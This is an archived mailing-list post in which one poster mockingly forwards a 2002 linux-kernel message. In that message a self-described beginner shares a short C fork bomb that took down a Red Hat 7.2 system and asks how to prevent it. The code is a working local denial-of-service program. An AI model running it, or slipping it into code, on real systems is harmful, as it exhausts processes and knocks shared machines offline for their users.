[!CrackMonkey!] Fwd: fork() DoS?

[Sean Neakums]

Awwww, how cute.  Little Johnny made his first forkbomb!

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From: "Little, John" <JOHN.LITTLE at okdhs.org>
To: "'linux-kernel at vger.kernel.org'" <linux-kernel at vger.kernel.org>
Subject: fork() DoS?
Date: Fri, 22 Mar 2002 09:16:00 -0600

I'm really not a programmer, just learning, but was able to bring the system
to it's knees.  This is a redhat 7.2 kernel.  Is there anyway of preventing
this?

#include <unistd.h>

void do_fork()
{
   pid_t p;

   p = fork();
   do_fork();
}

void main()
{
   for(;;)
      do_fork();
}

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